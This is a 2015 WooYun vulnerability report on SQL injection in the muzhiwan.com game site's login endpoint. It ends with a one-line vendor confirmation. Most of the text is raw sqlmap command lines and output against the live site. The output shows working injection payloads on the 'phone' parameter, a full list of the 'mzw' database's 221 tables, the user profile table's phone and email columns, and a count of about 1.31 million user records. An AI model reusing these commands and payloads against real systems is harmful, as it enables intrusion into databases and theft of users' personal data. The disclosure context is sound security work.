当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135280

漏洞标题:拇指玩某接口不当数百万用户数据告急

相关厂商:muzhiwan.com

漏洞作者: 路人甲

提交时间:2015-08-19 14:30

修复时间:2015-10-03 15:14

公开时间:2015-10-03 15:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-19: 细节已通知厂商并且等待厂商处理中
2015-08-19: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向核心白帽子及相关领域专家公开
2015-09-08: 细节向普通白帽子公开
2015-09-18: 细节向实习白帽子公开
2015-10-03: 细节向公众公开

简要描述:

这次我注入了,危害总算高了吧!

详细说明:

root@iZ280ss8y3cZ:~/sqlmapproject-sqlmap-54d6532# python sqlmap.py -u "http://topic.muzhiwan.com/common/loginin/" --data "phone=15267011112*&password=1234567" --tables -D "mzw"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150819}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:12:14
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[13:12:15] [INFO] resuming back-end DBMS 'mysql'
[13:12:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: phone=15267011112' AND (SELECT 4405 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(4405=4405,1))),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZbaV'='ZbaV&password=1234567
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: phone=15267011112' AND (SELECT * FROM (SELECT(SLEEP(5)))kFPw) AND 'aJnn'='aJnn&password=1234567
---
[13:12:16] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.32
back-end DBMS: MySQL 5.0
[13:12:16] [INFO] fetching tables for database: 'mzw'
[13:12:16] [WARNING] reflective value(s) found and filtering out
[13:12:16] [INFO] the SQL query used returns 221 entries
[13:12:16] [INFO] retrieved: auth
[13:12:16] [INFO] retrieved: auth_group
[13:12:16] [INFO] retrieved: auth_group_relation
[13:12:16] [INFO] retrieved: auth_usergroup
[13:12:16] [INFO] retrieved: group
[13:12:16] [INFO] retrieved: group_apply
[13:12:16] [INFO] retrieved: group_glance
[13:12:16] [INFO] retrieved: group_identity
[13:12:16] [INFO] retrieved: group_interior
[13:12:16] [INFO] retrieved: group_member
[13:12:16] [INFO] retrieved: group_member_log
[13:12:16] [INFO] retrieved: group_recommend
[13:12:16] [INFO] retrieved: group_report
[13:12:17] [INFO] retrieved: group_score
[13:12:17] [INFO] retrieved: group_score_list
[13:12:17] [INFO] retrieved: group_topic
[13:12:17] [INFO] retrieved: group_topic_content
[13:12:17] [INFO] retrieved: group_topic_love
[13:12:17] [INFO] retrieved: lanxun_url
[13:12:17] [INFO] retrieved: market_model_info
[13:12:17] [INFO] retrieved: models
[13:12:17] [INFO] retrieved: mwz_sdk_user_reg_log
[13:12:17] [INFO] retrieved: mzw_ad
[13:12:17] [INFO] retrieved: mzw_ad_p
[13:12:17] [INFO] retrieved: mzw_admin
[13:12:17] [INFO] retrieved: mzw_admin_editlog
[13:12:17] [INFO] retrieved: mzw_admin_gameeditlog
[13:12:17] [INFO] retrieved: mzw_admin_group
[13:12:17] [INFO] retrieved: mzw_bbs_topic
[13:12:18] [INFO] retrieved: mzw_blacklist
[13:12:18] [INFO] retrieved: mzw_c_ad
[13:12:18] [INFO] retrieved: mzw_c_admin
[13:12:18] [INFO] retrieved: mzw_c_channel
[13:12:18] [INFO] retrieved: mzw_c_game
[13:12:18] [INFO] retrieved: mzw_c_game_detail
[13:12:18] [INFO] retrieved: mzw_c_game_down
[13:12:18] [INFO] retrieved: mzw_c_game_snapshot
[13:12:18] [INFO] retrieved: mzw_c_hotsearch
[13:12:18] [INFO] retrieved: mzw_c_uc_mapping
[13:12:18] [INFO] retrieved: mzw_censorword
[13:12:18] [INFO] retrieved: mzw_content_from
[13:12:18] [INFO] retrieved: mzw_cp_bill
[13:12:18] [INFO] retrieved: mzw_cp_contact
[13:12:18] [INFO] retrieved: mzw_cp_fee_ratio
[13:12:18] [INFO] retrieved: mzw_cp_game
[13:12:18] [INFO] retrieved: mzw_cp_game_1
[13:12:19] [INFO] retrieved: mzw_cp_game_append
[13:12:19] [INFO] retrieved: mzw_cp_game_gift
[13:12:19] [INFO] retrieved: mzw_cp_game_gift_code
[13:12:19] [INFO] retrieved: mzw_cp_game_sdk
[13:12:19] [INFO] retrieved: mzw_cp_game_v
[13:12:19] [INFO] retrieved: mzw_cp_game_v_article
[13:12:19] [INFO] retrieved: mzw_cp_game_v_img
[13:12:19] [INFO] retrieved: mzw_cp_game_v_motion
[13:12:19] [INFO] retrieved: mzw_cp_member
[13:12:19] [INFO] retrieved: mzw_cp_msg
[13:12:19] [INFO] retrieved: mzw_cp_notice
[13:12:19] [INFO] retrieved: mzw_cp_order
[13:12:19] [INFO] retrieved: mzw_cp_pay
[13:12:19] [INFO] retrieved: mzw_cp_sdk
[13:12:19] [INFO] retrieved: mzw_cp_testfee
[13:12:19] [INFO] retrieved: mzw_cp_testin
[13:12:19] [INFO] retrieved: mzw_cp_user
[13:12:20] [INFO] retrieved: mzw_cp_users_resetpwd
[13:12:20] [INFO] retrieved: mzw_crack_wishing
[13:12:20] [INFO] retrieved: mzw_crontab_game
[13:12:20] [INFO] retrieved: mzw_dabaoprogress
[13:12:20] [INFO] retrieved: mzw_datacopypath
[13:12:20] [INFO] retrieved: mzw_day_gamecount
[13:12:20] [INFO] retrieved: mzw_exam_score
[13:12:20] [INFO] retrieved: mzw_exam_title
[13:12:20] [INFO] retrieved: mzw_favorite
[13:12:20] [INFO] retrieved: mzw_feedback
[13:12:20] [INFO] retrieved: mzw_feedback_app
[13:12:20] [INFO] retrieved: mzw_feeds
[13:12:20] [INFO] retrieved: mzw_fetch_html
[13:12:20] [INFO] retrieved: mzw_friend_links
[13:12:20] [INFO] retrieved: mzw_game
[13:12:20] [INFO] retrieved: mzw_game_album
[13:12:20] [INFO] retrieved: mzw_game_album_comment
[13:12:21] [INFO] retrieved: mzw_game_album_comment_reply
[13:12:21] [INFO] retrieved: mzw_game_album_contents
[13:12:21] [INFO] retrieved: mzw_game_article
[13:12:21] [INFO] retrieved: mzw_game_article_auth
[13:12:21] [INFO] retrieved: mzw_game_article_comment
[13:12:21] [INFO] retrieved: mzw_game_article_comment_reply
[13:12:21] [INFO] retrieved: mzw_game_article_detail
[13:12:21] [INFO] retrieved: mzw_game_article_detail_copy
[13:12:21] [INFO] retrieved: mzw_game_article_type
[13:12:21] [INFO] retrieved: mzw_game_article_vote
[13:12:21] [INFO] retrieved: mzw_game_black
[13:12:21] [INFO] retrieved: mzw_game_device_package
[13:12:21] [INFO] retrieved: mzw_game_extend
[13:12:21] [INFO] retrieved: mzw_game_firm
[13:12:21] [INFO] retrieved: mzw_game_firm_comment
[13:12:22] [INFO] retrieved: mzw_game_firm_comment_reply
[13:12:22] [INFO] retrieved: mzw_game_google
[13:12:22] [INFO] retrieved: mzw_game_img_webp
[13:12:22] [INFO] retrieved: mzw_game_net_forum
[13:12:22] [INFO] retrieved: mzw_game_net_gift
[13:12:22] [INFO] retrieved: mzw_game_net_giftbind
[13:12:22] [INFO] retrieved: mzw_game_net_server
[13:12:22] [INFO] retrieved: mzw_game_open
[13:12:22] [INFO] retrieved: mzw_game_search_tags
[13:12:22] [INFO] retrieved: mzw_game_search_tags_bind
[13:12:22] [INFO] retrieved: mzw_game_tags
[13:12:22] [INFO] retrieved: mzw_game_tags_bind
[13:12:22] [INFO] retrieved: mzw_game_tags_type
[13:12:22] [INFO] retrieved: mzw_game_tmp
[13:12:22] [INFO] retrieved: mzw_game_type
[13:12:22] [INFO] retrieved: mzw_game_unzip
[13:12:22] [INFO] retrieved: mzw_game_unzip_diff
[13:12:23] [INFO] retrieved: mzw_game_unzip_sub
[13:12:23] [INFO] retrieved: mzw_game_v
[13:12:23] [INFO] retrieved: mzw_game_v_comment
[13:12:23] [INFO] retrieved: mzw_game_v_comment_reply
[13:12:23] [INFO] retrieved: mzw_game_v_cp
[13:12:23] [INFO] retrieved: mzw_game_v_detail
[13:12:23] [INFO] retrieved: mzw_game_v_diff
[13:12:23] [INFO] retrieved: mzw_game_v_downlist
[13:12:23] [INFO] retrieved: mzw_game_v_downlist_back
[13:12:23] [INFO] retrieved: mzw_game_v_downlist_copy
[13:12:23] [INFO] retrieved: mzw_game_v_downtop
[13:12:23] [INFO] retrieved: mzw_game_v_icon_temp
[13:12:23] [INFO] retrieved: mzw_game_v_img
[13:12:23] [INFO] retrieved: mzw_game_v_img_copy
[13:12:23] [INFO] retrieved: mzw_game_v_img_temp
[13:12:23] [INFO] retrieved: mzw_game_v_video
[13:12:23] [INFO] retrieved: mzw_game_vblacklist
[13:12:24] [INFO] retrieved: mzw_game_vote
[13:12:24] [INFO] retrieved: mzw_gift_bbs
[13:12:24] [INFO] retrieved: mzw_gift_weixin
[13:12:24] [INFO] retrieved: mzw_gift_weixin_copy
[13:12:24] [INFO] retrieved: mzw_gift_weixin_copy1
[13:12:24] [INFO] retrieved: mzw_google_apps
[13:12:24] [INFO] retrieved: mzw_handle_brand
[13:12:24] [INFO] retrieved: mzw_handle_model
[13:12:24] [INFO] retrieved: mzw_hotword_tab
[13:12:24] [INFO] retrieved: mzw_log_ad_click_201302
[13:12:24] [INFO] retrieved: mzw_log_downloadgame_0
[13:12:24] [INFO] retrieved: mzw_log_goodarticle_0
[13:12:24] [INFO] retrieved: mzw_log_goodgame_0
[13:12:24] [INFO] retrieved: mzw_log_goodsavegame_2013
[13:12:24] [INFO] retrieved: mzw_log_login_201301
[13:12:24] [INFO] retrieved: mzw_log_sf_download_0
[13:12:24] [INFO] retrieved: mzw_mobile_brand
[13:12:25] [INFO] retrieved: mzw_mobile_cpubrand
[13:12:25] [INFO] retrieved: mzw_mobile_cpubrand_adp
[13:12:25] [INFO] retrieved: mzw_mobile_cpumodel
[13:12:25] [INFO] retrieved: mzw_mobile_forum
[13:12:25] [INFO] retrieved: mzw_mobile_manual_pwd
[13:12:25] [INFO] retrieved: mzw_mobile_model
[13:12:25] [INFO] retrieved: mzw_mobile_modelcode
[13:12:25] [INFO] retrieved: mzw_mobile_modelcode_rel
[13:12:25] [INFO] retrieved: mzw_mobile_verify_message
[13:12:25] [INFO] retrieved: mzw_models
[13:12:25] [INFO] retrieved: mzw_our_company
[13:12:25] [INFO] retrieved: mzw_our_postinfo
[13:12:25] [INFO] retrieved: mzw_pay
[13:12:25] [INFO] retrieved: mzw_pc_feedback
[13:12:25] [INFO] retrieved: mzw_phone_msg_log
[13:12:25] [INFO] retrieved: mzw_project
[13:12:26] [INFO] retrieved: mzw_project_picture
[13:12:26] [INFO] retrieved: mzw_question
[13:12:26] [INFO] retrieved: mzw_question_answer
[13:12:26] [INFO] retrieved: mzw_report_tab
[13:12:26] [INFO] retrieved: mzw_save_game
[13:12:26] [INFO] retrieved: mzw_save_game_blacklist
[13:12:26] [INFO] retrieved: mzw_save_game_category
[13:12:26] [INFO] retrieved: mzw_save_game_comment
[13:12:26] [INFO] retrieved: mzw_save_game_comment_reply
[13:12:26] [INFO] retrieved: mzw_save_game_for
[13:12:26] [INFO] retrieved: mzw_save_game_for_comment
[13:12:26] [INFO] retrieved: mzw_save_game_img
[13:12:26] [INFO] retrieved: mzw_save_game_send
[13:12:26] [INFO] retrieved: mzw_save_gamenotexistgame
[13:12:26] [INFO] retrieved: mzw_sdk_oauth2_authcodes
[13:12:26] [INFO] retrieved: mzw_sdk_oauth2_clients
[13:12:27] [INFO] retrieved: mzw_sdk_oauth2_tokens
[13:12:27] [INFO] retrieved: mzw_sdk_pay_notifyrecord
[13:12:27] [INFO] retrieved: mzw_sdk_pay_orders
[13:12:27] [INFO] retrieved: mzw_sdk_pay_orders_info
[13:12:27] [INFO] retrieved: mzw_sdk_pay_yeepaytoken
[13:12:27] [INFO] retrieved: mzw_sdk_phone_msg_log
[13:12:27] [INFO] retrieved: mzw_short_url
[13:12:27] [INFO] retrieved: mzw_short_url_key
[13:12:27] [INFO] retrieved: mzw_snoopy_game
[13:12:27] [INFO] retrieved: mzw_snoopy_gift
[13:12:27] [INFO] retrieved: mzw_u_test
[13:12:27] [INFO] retrieved: mzw_update
[13:12:27] [INFO] retrieved: mzw_user_game
[13:12:27] [INFO] retrieved: mzw_user_gamev
[13:12:27] [INFO] retrieved: mzw_user_gamevcomment
[13:12:27] [INFO] retrieved: mzw_user_gamevcomment_reply
[13:12:28] [INFO] retrieved: mzw_user_gamevdetail
[13:12:28] [INFO] retrieved: mzw_user_gamevdownlist
[13:12:28] [INFO] retrieved: mzw_user_gamevimg
[13:12:28] [INFO] retrieved: mzw_user_reg
[13:12:28] [INFO] retrieved: mzw_userbehavior
[13:12:28] [INFO] retrieved: mzw_userdevice
[13:12:28] [INFO] retrieved: mzw_userdevice_bind
[13:12:28] [INFO] retrieved: mzw_users
[13:12:28] [INFO] retrieved: mzw_users-1
[13:12:28] [INFO] retrieved: mzw_users_1
[13:12:28] [INFO] retrieved: mzw_users_6
[13:12:28] [INFO] retrieved: mzw_users_accesstoken
[13:12:28] [INFO] retrieved: mzw_users_origin
[13:12:28] [INFO] retrieved: mzw_users_phone
[13:12:28] [INFO] retrieved: mzw_users_photo_create
[13:12:28] [INFO] retrieved: mzw_users_profile
[13:12:28] [INFO] retrieved: mzw_users_resetpwd
[13:12:29] [INFO] retrieved: mzw_users_sign
[13:12:29] [INFO] retrieved: mzw_weibo_score
[13:12:29] [INFO] retrieved: mzw_weixin_blacklist
[13:12:29] [INFO] retrieved: mzw_weixin_share
[13:12:29] [INFO] retrieved: mzw_weixin_user_info
[13:12:29] [INFO] retrieved: mzw_weixin_user_prize
[13:12:29] [INFO] retrieved: mzw_zhuanti_comment
[13:12:29] [INFO] retrieved: pre_ucenter_members_cpfrom502
[13:12:29] [INFO] retrieved: static_sdk_compatibility
[13:12:29] [INFO] retrieved: tmp_02
Database: mzw
[221 tables]
+--------------------------------+
| group |
| mzw_users-1 |
| auth |
| auth_group |
| auth_group_relation |
| auth_usergroup |
| group_apply |
| group_glance |
| group_identity |
| group_interior |
| group_member |
| group_member_log |
| group_recommend |
| group_report |
| group_score |
| group_score_list |
| group_topic |
| group_topic_content |
| group_topic_love |
| lanxun_url |
| market_model_info |
| models |
| mwz_sdk_user_reg_log |
| mzw_ad |
| mzw_ad_p |
| mzw_admin |
| mzw_admin_editlog |
| mzw_admin_gameeditlog |
| mzw_admin_group |
| mzw_bbs_topic |
| mzw_blacklist |
| mzw_c_ad |
| mzw_c_admin |
| mzw_c_channel |
| mzw_c_game |
| mzw_c_game_detail |
| mzw_c_game_down |
| mzw_c_game_snapshot |
| mzw_c_hotsearch |
| mzw_c_uc_mapping |
| mzw_censorword |
| mzw_content_from |
| mzw_cp_bill |
| mzw_cp_contact |
| mzw_cp_fee_ratio |
| mzw_cp_game |
| mzw_cp_game_1 |
| mzw_cp_game_append |
| mzw_cp_game_gift |
| mzw_cp_game_gift_code |
| mzw_cp_game_sdk |
| mzw_cp_game_v |
| mzw_cp_game_v_article |
| mzw_cp_game_v_img |
| mzw_cp_game_v_motion |
| mzw_cp_member |
| mzw_cp_msg |
| mzw_cp_notice |
| mzw_cp_order |
| mzw_cp_pay |
| mzw_cp_sdk |
| mzw_cp_testfee |
| mzw_cp_testin |
| mzw_cp_user |
| mzw_cp_users_resetpwd |
| mzw_crack_wishing |
| mzw_crontab_game |
| mzw_dabaoprogress |
| mzw_datacopypath |
| mzw_day_gamecount |
| mzw_exam_score |
| mzw_exam_title |
| mzw_favorite |
| mzw_feedback |
| mzw_feedback_app |
| mzw_feeds |
| mzw_fetch_html |
| mzw_friend_links |
| mzw_game |
| mzw_game_album |
| mzw_game_album_comment |
| mzw_game_album_comment_reply |
| mzw_game_album_contents |
| mzw_game_article |
| mzw_game_article_auth |
| mzw_game_article_comment |
| mzw_game_article_comment_reply |
| mzw_game_article_detail |
| mzw_game_article_detail_copy |
| mzw_game_article_type |
| mzw_game_article_vote |
| mzw_game_black |
| mzw_game_device_package |
| mzw_game_extend |
| mzw_game_firm |
| mzw_game_firm_comment |
| mzw_game_firm_comment_reply |
| mzw_game_google |
| mzw_game_img_webp |
| mzw_game_net_forum |
| mzw_game_net_gift |
| mzw_game_net_giftbind |
| mzw_game_net_server |
| mzw_game_open |
| mzw_game_search_tags |
| mzw_game_search_tags_bind |
| mzw_game_tags |
| mzw_game_tags_bind |
| mzw_game_tags_type |
| mzw_game_tmp |
| mzw_game_type |
| mzw_game_unzip |
| mzw_game_unzip_diff |
| mzw_game_unzip_sub |
| mzw_game_v |
| mzw_game_v_comment |
| mzw_game_v_comment_reply |
| mzw_game_v_cp |
| mzw_game_v_detail |
| mzw_game_v_diff |
| mzw_game_v_downlist |
| mzw_game_v_downlist_back |
| mzw_game_v_downlist_copy |
| mzw_game_v_downtop |
| mzw_game_v_icon_temp |
| mzw_game_v_img |
| mzw_game_v_img_copy |
| mzw_game_v_img_temp |
| mzw_game_v_video |
| mzw_game_vblacklist |
| mzw_game_vote |
| mzw_gift_bbs |
| mzw_gift_weixin |
| mzw_gift_weixin_copy |
| mzw_gift_weixin_copy1 |
| mzw_google_apps |
| mzw_handle_brand |
| mzw_handle_model |
| mzw_hotword_tab |
| mzw_log_ad_click_201302 |
| mzw_log_downloadgame_0 |
| mzw_log_goodarticle_0 |
| mzw_log_goodgame_0 |
| mzw_log_goodsavegame_2013 |
| mzw_log_login_201301 |
| mzw_log_sf_download_0 |
| mzw_mobile_brand |
| mzw_mobile_cpubrand |
| mzw_mobile_cpubrand_adp |
| mzw_mobile_cpumodel |
| mzw_mobile_forum |
| mzw_mobile_manual_pwd |
| mzw_mobile_model |
| mzw_mobile_modelcode |
| mzw_mobile_modelcode_rel |
| mzw_mobile_verify_message |
| mzw_models |
| mzw_our_company |
| mzw_our_postinfo |
| mzw_pay |
| mzw_pc_feedback |
| mzw_phone_msg_log |
| mzw_project |
| mzw_project_picture |
| mzw_question |
| mzw_question_answer |
| mzw_report_tab |
| mzw_save_game |
| mzw_save_game_blacklist |
| mzw_save_game_category |
| mzw_save_game_comment |
| mzw_save_game_comment_reply |
| mzw_save_game_for |
| mzw_save_game_for_comment |
| mzw_save_game_img |
| mzw_save_game_send |
| mzw_save_gamenotexistgame |
| mzw_sdk_oauth2_authcodes |
| mzw_sdk_oauth2_clients |
| mzw_sdk_oauth2_tokens |
| mzw_sdk_pay_notifyrecord |
| mzw_sdk_pay_orders |
| mzw_sdk_pay_orders_info |
| mzw_sdk_pay_yeepaytoken |
| mzw_sdk_phone_msg_log |
| mzw_short_url |
| mzw_short_url_key |
| mzw_snoopy_game |
| mzw_snoopy_gift |
| mzw_u_test |
| mzw_update |
| mzw_user_game |
| mzw_user_gamev |
| mzw_user_gamevcomment |
| mzw_user_gamevcomment_reply |
| mzw_user_gamevdetail |
| mzw_user_gamevdownlist |
| mzw_user_gamevimg |
| mzw_user_reg |
| mzw_userbehavior |
| mzw_userdevice |
| mzw_userdevice_bind |
| mzw_users |
| mzw_users_1 |
| mzw_users_6 |
| mzw_users_accesstoken |
| mzw_users_origin |
| mzw_users_phone |
| mzw_users_photo_create |
| mzw_users_profile |
| mzw_users_resetpwd |
| mzw_users_sign |
| mzw_weibo_score |
| mzw_weixin_blacklist |
| mzw_weixin_share |
| mzw_weixin_user_info |
| mzw_weixin_user_prize |
| mzw_zhuanti_comment |
| pre_ucenter_members_cpfrom502 |
| static_sdk_compatibility |
| tmp_02 |
+--------------------------------+
[13:12:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 222 times
[13:12:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/topic.muzhiwan.com'
[*] shutting down at 13:12:29
root@iZ280ss8y3cZ:~/sqlmapproject-sqlmap-54d6532# python sqlmap.py -u "http://topic.muzhiwan.com/common/loginin/" --data "phone=15267011112*&password=1234567" --columns -T "mzw_users_profile" -D "mzw"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150819}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:15:20
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[13:15:22] [INFO] resuming back-end DBMS 'mysql'
[13:15:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: phone=15267011112' AND (SELECT 4405 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(4405=4405,1))),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZbaV'='ZbaV&password=1234567
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: phone=15267011112' AND (SELECT * FROM (SELECT(SLEEP(5)))kFPw) AND 'aJnn'='aJnn&password=1234567
---
[13:15:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.32
back-end DBMS: MySQL 5.0
[13:15:22] [INFO] fetching columns for table 'mzw_users_profile' in database 'mzw'
[13:15:22] [WARNING] reflective value(s) found and filtering out
[13:15:22] [INFO] the SQL query used returns 8 entries
[13:15:22] [INFO] retrieved: id
[13:15:22] [INFO] retrieved: int(10)
[13:15:22] [INFO] retrieved: uid
[13:15:22] [INFO] retrieved: int(10)
[13:15:23] [INFO] retrieved: phone
[13:15:23] [INFO] retrieved: bigint(12)
[13:15:23] [INFO] retrieved: isphone
[13:15:23] [INFO] retrieved: int(4)
[13:15:23] [INFO] retrieved: email
[13:15:23] [INFO] retrieved: varchar(100)
[13:15:23] [INFO] retrieved: isemail
[13:15:23] [INFO] retrieved: int(4)
[13:15:23] [INFO] retrieved: ctime
[13:15:23] [INFO] retrieved: int(10)
[13:15:23] [INFO] retrieved: channel
[13:15:23] [INFO] retrieved: tinyint(4)
Database: mzw
Table: mzw_users_profile
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| channel | tinyint(4) |
| ctime | int(10) |
| email | varchar(100) |
| id | int(10) |
| isemail | int(4) |
| isphone | int(4) |
| phone | bigint(12) |
| uid | int(10) |
+---------+--------------+
[13:15:23] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 17 times
[13:15:23] [INFO] fetched data logged to text files under '/root/.sqlmap/output/topic.muzhiwan.com'
[*] shutting down at 13:15:23
root@iZ280ss8y3cZ:~/sqlmapproject-sqlmap-54d6532# python sqlmap.py -u "http://topic.muzhiwan.com/common/loginin/" --data "phone=15267011112*&password=1234567" --columns -T "mzw_users_profile" -D "mzw" --count
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150819}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:15:31
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[13:15:32] [INFO] resuming back-end DBMS 'mysql'
[13:15:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: phone=15267011112' AND (SELECT 4405 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(4405=4405,1))),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZbaV'='ZbaV&password=1234567
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: phone=15267011112' AND (SELECT * FROM (SELECT(SLEEP(5)))kFPw) AND 'aJnn'='aJnn&password=1234567
---
[13:15:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.32
back-end DBMS: MySQL 5.0
[13:15:32] [INFO] fetching columns for table 'mzw_users_profile' in database 'mzw'
[13:15:32] [INFO] the SQL query used returns 8 entries
[13:15:32] [INFO] resumed: id
[13:15:32] [INFO] resumed: int(10)
[13:15:32] [INFO] resumed: uid
[13:15:32] [INFO] resumed: int(10)
[13:15:32] [INFO] resumed: phone
[13:15:32] [INFO] resumed: bigint(12)
[13:15:32] [INFO] resumed: isphone
[13:15:32] [INFO] resumed: int(4)
[13:15:32] [INFO] resumed: email
[13:15:32] [INFO] resumed: varchar(100)
[13:15:32] [INFO] resumed: isemail
[13:15:32] [INFO] resumed: int(4)
[13:15:32] [INFO] resumed: ctime
[13:15:32] [INFO] resumed: int(10)
[13:15:32] [INFO] resumed: channel
[13:15:32] [INFO] resumed: tinyint(4)
Database: mzw
Table: mzw_users_profile
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| channel | tinyint(4) |
| ctime | int(10) |
| email | varchar(100) |
| id | int(10) |
| isemail | int(4) |
| isphone | int(4) |
| phone | bigint(12) |
| uid | int(10) |
+---------+--------------+
[13:15:33] [WARNING] reflective value(s) found and filtering out
[13:15:33] [INFO] retrieved: 1312956
Database: mzw
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| mzw_users_profile | 1312956 |
+-------------------+---------+
[13:15:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[13:15:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/topic.muzhiwan.com'
[*] shutting down at 13:15:33


130多万用户的profile,这危害可以了吧
注入点:

topic.muzhiwan.com/common/login


所有参数包括验证码都存在注入

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-19 15:14

厂商回复:

谢谢,我们会及时的修复。。。

最新状态:

暂无